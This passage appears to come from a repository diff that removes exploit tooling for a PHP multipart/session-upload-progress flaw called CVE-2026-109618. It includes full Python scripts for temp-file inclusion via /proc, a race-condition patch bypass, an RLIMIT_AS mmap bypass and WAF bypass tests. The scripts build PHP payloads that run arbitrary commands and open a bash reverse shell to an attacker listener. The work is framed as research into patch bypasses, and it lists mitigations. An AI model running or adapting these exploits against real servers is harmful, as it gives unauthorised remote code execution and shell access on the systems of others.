bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ php_code + b"\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
try:
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
if started:
started.set()
sent = 0
t0 = time.time()
while sent < file_size and (time.time() - t0) < duration:
if done and done.is_set():
break
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except Exception:
pass
try:
recv_all(sock, timeout=2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
"""Send LFI request targeting a /proc path."""
lfi_url = f"{path}?{lfi_param}={proc_path}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return body_of(resp)
except Exception:
return b""
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
print(" Bypasses patch + upload_progress=0 + session cleanup")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Discover worker PIDs
if args.pid:
pids = [args.pid]
print(f"[*] Using specified PID: {args.pid}")
else:
print("[*] Discovering FPM worker PIDs...")
pids = discover_pids(host, port, tls, path, count=30)
if not pids:
print("[!] Could not discover PIDs (target may not echo pid)")
print(" Try --pid <pid> or --pid-range <start>-<end>")
if args.pid_range:
start, end = map(int, args.pid_range.split("-"))
pids = list(range(start, end + 1))
print(f" Using PID range: {start}-{end}")
else:
sys.exit(1)
else:
print(f" Found PIDs: {pids}")
print()
fd_range = range(args.fd_start, args.fd_end + 1)
for attempt in range(args.attempts):
print(f"[*] Attempt {attempt+1}/{args.attempts}")
started = threading.Event()
done = threading.Event()
# Launch slow uploads on multiple threads to occupy workers
threads = []
for i in range(args.upload_threads):
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, php_code, 15.0,
started if i == 0 else None, done),
daemon=True,
)
t.start()
threads.append(t)
started.wait(timeout=5)
time.sleep(0.5)
print(f" {args.upload_threads} slow uploads in progress")
hit = False
for probe_round in range(args.probes):
if hit:
break
for pid in pids:
if hit:
break
for fd in fd_range:
proc_path = f"/proc/{pid}/fd/{fd}"
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
if b"CVE2026:" in rbody:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Via: {proc_path}")
print("[+] RCE achieved WITHOUT session poisoning!")
print("[+] Bypasses: security patch, upload_progress=0,")
print("[+] session cleanup, WAF session rules")
print("[+] Only mitigation: disable file uploads entirely,")
print("[+] mount /proc with hidepid=2, or fix the LFI")
hit = True
break
if not hit and probe_round < args.probes - 1:
time.sleep(0.01)
done.set()
for t in threads:
t.join(timeout=3)
if hit:
return
print(f" No hit — upload may have finished or wrong PID/FD range")
print()
print("[!] All attempts failed.")
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
print(" Or: --upload-threads 3 --probes 200")
def main():
ap = argparse.ArgumentParser(
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit does NOT use session poisoning. It includes the PHP temp file
created during a multipart upload via /proc/<pid>/fd/<N>.
It bypasses ALL recommended mitigations:
- PHP 8.4.27 security patch
- session.upload_progress.enabled=0
- session.upload_progress.cleanup=1
- WAF rules blocking session-related headers
The only defenses are:
- Fix the LFI vulnerability
- Mount /proc with hidepid=2 (hides other processes' FDs)
- Disable file uploads entirely (not practical for most apps)
- Use open_basedir to restrict /proc access
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--pid", type=int,
help="Known target worker PID")
ap.add_argument("--pid-range",
help="PID range to brute-force, e.g. 1-100")
ap.add_argument("--fd-start", type=int, default=3,
help="First FD to probe (default: 3)")
ap.add_argument("--fd-end", type=int, default=10,
help="Last FD to probe (default: 10)")
ap.add_argument("--upload-threads", type=int, default=2,
help="Concurrent slow uploads (default: 2)")
ap.add_argument("--probes", type=int, default=100,
help="LFI probe rounds per attempt (default: 100)")
ap.add_argument("--attempts", type=int, default=5,
help="Number of attempts (default: 5)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-265
View File
@@ -1,265 +0,0 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
with a soft/hard OOM that ensures proper cleanup.
However, the session upload progress race condition is NOT fixed by the patch.
This is because the race window is inherent to the feature's design:
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
3. The data persists on disk for the duration of the file upload
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
5. A concurrent request can include the session file via LFI during this window
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
close this inherent TOCTOU race. The advisory acknowledges this by recommending
session.upload_progress.enabled=0 even after patching.
Requirements:
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
- Multiple FPM workers (pm.max_children > 1)
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
Usage:
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
"""Send slow multipart upload to keep session file populated on disk."""
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
sent = 0
t0 = time.time()
try:
while sent < file_size and (time.time() - t0) < duration:
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except:
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def lfi_probe(host, port, tls, lfi_path, sid):
"""Send LFI request and return response body."""
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return resp
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, sid, php_code, 10.0),
daemon=True,
)
t.start()
time.sleep(0.3)
hit = False
for i in range(400):
if not t.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
try:
resp = lfi_probe(host, port, tls, lfi_path, sid)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
rbody.decode(errors="replace"))
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END",
rbody.decode(errors="replace"), re.DOTALL)
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print("[+] RCE achieved against PATCHED PHP!")
print("[+] The 2026-10-21 security patch does NOT fix this.")
print("[+] Mitigation: session.upload_progress.enabled=0")
hit = True
break
except:
pass
if hit:
break
time.sleep(0.005)
t.join(timeout=2)
if hit:
return
print(f" Race lost")
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit demonstrates that the PHP security patch (2026-10-21)
does NOT fix the session upload progress race condition.
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--attempts", type=int, default=10,
help="Race attempts (default: 10)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-312
View File
@@ -1,312 +0,0 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
- Soft OOM: deferred to VM safe point (graceful shutdown)
- Hard OOM: immediate _exit(70) when allocation fails during parsing
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
multipart field allocation. This failure goes through a DIFFERENT code path
that the patch does NOT cover:
1. PHP has memory_limit=-1 → no PHP-level OOM possible
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
3. During multipart parsing, mmap() fails when address space is exhausted
4. The failure triggers the OLD vulnerable code path (not the patched one)
5. Worker exits with code 1 (not the patched exit code 70)
6. Session file persists on disk with attacker-controlled PHP code
7. New worker spawns → LFI includes the poisoned session file → RCE
This is relevant in production because:
- Container environments (Docker, k8s) often set memory limits via cgroups
- Shared hosting uses RLIMIT_AS to isolate tenants
- Admins may set memory_limit=-1 trusting OS-level limits instead
- The advisory does NOT mention this bypass path
Requirements:
- PHP-FPM with memory_limit=-1 (or very high)
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
- session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
Usage:
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=120):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
"""Build multipart body designed to exhaust address space via mmap()."""
body = b""
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
body += b"\r\n" + php_code + b"\r\n"
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += b"\x00" * 4096 + b"\r\n"
for i in range(field_count):
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
body += b"\r\n" + b"X" * field_size + b"\r\n"
body += b"--" + bnd + b"--\r\n"
return body
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
bnd = b"----RLIMITRCE"
body = build_oom_body(bnd, php_code, field_count, field_size)
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError):
pass
resp = b""
sock.settimeout(30)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except (socket.timeout, ConnectionResetError):
pass
sock.close()
status = 0
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
return status
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
for sp in session_paths:
sess_file = f"{sp}/sess_{sid}"
lfi_url = f"{path}?{lfi_param}={sess_file}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
rbody = body_of(resp)
if b"CVE2026:" in rbody:
return rbody, sp
except Exception:
continue
return None, None
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} x {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
status = phase1_crash(host, port, tls, path, sid, php_code,
args.fields, args.field_size)
print(f" HTTP {status} — worker crashed (mmap failure)")
print(f" Waiting {args.respawn_wait}s for worker respawn...")
time.sleep(args.respawn_wait)
print(f" Phase 2: LFI include of poisoned session file...")
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
sid, spaths)
if rbody is not None:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Session path: {found_path}")
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
print("[+] Affects: containers with cgroup limits, shared hosting with")
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
print("[+] Mitigation: session.upload_progress.enabled=0")
return
print(f" Session file not found or already cleaned")
print()
print("[!] All attempts failed.")
print(" Possible causes:")
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
print(" - Session save path not in search list → use --session-path")
print(" - Worker respawn too slow → increase --respawn-wait")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
mmap() fails through a DIFFERENT path the patch doesn't cover.
Preconditions:
- Target uses memory_limit=-1 (trusting OS limits)
- OS enforces RLIMIT_AS or cgroup memory limit
- session.upload_progress.enabled=1 (default)
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--fields", type=int, default=10000,
help="Number of multipart fields (default: 10000)")
ap.add_argument("--field-size", type=int, default=8192,
help="Size of each field value in bytes (default: 8192)")
ap.add_argument("--respawn-wait", type=float, default=3.0,
help="Seconds to wait for worker respawn (default: 3.0)")
ap.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default: 3)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-144
View File
@@ -1,144 +0,0 @@
#!/usr/bin/env python3
"""
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
Tests Content-Type evasion techniques against nginx/Apache WAF rules
that block multipart/form-data POST requests.
Tested against the community-recommended mitigations from:
- PasqualePillitteri/php2shell-hardening
- syhunt/php2shell-protection
Findings:
1. PUT/PATCH methods bypass POST-only WAF rules
- PHP 8.4's request_parse_body() parses multipart on these methods
- Session upload progress only fires on POST (rfc1867 handler)
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
- nginx $http_content_type returns the first header value
- FastCGI CONTENT_TYPE joins all headers with ", "
- PHP truncates at first comma → takes the first value
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
3. Content-Type with reversed comma order bypasses nginx but not PHP
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
- PHP truncates at comma → "text/plain" → no multipart parsing
- Same as #2: passes WAF but useless for the attack
4. The effective WAF bypass for the session poisoning attack is:
- If the WAF blocks multipart POST but allows normal POST
- AND the application has session.upload_progress.enabled=1
- The attacker can still race with the session file (no multipart needed for LFI)
- Only the POISON request needs multipart; the LFI probe is a normal GET
Usage:
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
"""
import argparse
import socket
import sys
def send_request(host, port, method, path, headers, body=b""):
"""Send raw HTTP request and return status code."""
sock = socket.create_connection((host, port), timeout=10)
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
for k, v in headers.items():
if isinstance(v, list):
for val in v:
req += f"{k}: {val}\r\n".encode()
else:
req += f"{k}: {v}\r\n".encode()
if body:
req += f"Content-Length: {len(body)}\r\n".encode()
req += b"Connection: close\r\n\r\n"
if body:
req += body
sock.sendall(req)
resp = b""
sock.settimeout(5)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except:
pass
sock.close()
try:
return int(resp.split(b" ")[1])
except:
return 0
def run_tests(waf_host, waf_port, plain_host, plain_port):
bnd = "----WAFTEST"
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
tests = [
("Standard multipart POST",
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("Mixed case: Multipart/Form-Data",
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
("ALL CAPS: MULTIPART/FORM-DATA",
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
("Leading whitespace",
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
("Comma-separated (multipart first)",
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
("Comma-separated (text/plain first)",
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
("Duplicate CT (text/plain first)",
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
("Duplicate CT (multipart first)",
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
("PUT method",
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("PATCH method",
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
]
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
print("-" * 75)
for name, method, headers in tests:
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
if waf_code != 403:
bypass = f"WAF:{waf_code}"
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
def main():
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
ap.add_argument("--target", required=True, help="WAF-protected URL")
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
args = ap.parse_args()
from urllib.parse import urlparse
waf = urlparse(args.target)
plain = urlparse(args.unprotected)
print("=" * 75)
print(" WAF Bypass Tests for php2shell Mitigations")
print("=" * 75)
print(f" WAF target : {args.target}")
print(f" Unprotected : {args.unprotected}")
print()
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
print()
print("Notes:")
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
print(" - The race exploit only needs multipart for the POISON request (POST)")
print(" - The LFI probe is a normal GET, which no WAF blocks")
if __name__ == "__main__":
main()
-17
View File
@@ -1,17 +0,0 @@
<?php
header('Content-Type: text/plain');
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$data = isset($_SESSION) ? $_SESSION : [];
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_data=" . json_encode($data) . "\n";
echo "session_save_path=" . session_save_path() . "\n";
-426
View File
@@ -1,426 +0,0 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
The PHP multipart parser (rfc1867.c) allocates memory for each form field
during request parsing. By sending enough fields to exceed memory_limit
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
skips session.upload_progress cleanup — even with cleanup=1 (default).
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
PHP code — persists on disk. A follow-up request to a new FPM worker
includes this file via an LFI vector, executing our code.
Phase 1 ─ Poison + Crash
Multipart body:
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
2. File upload (triggers progress handler → session flush to disk)
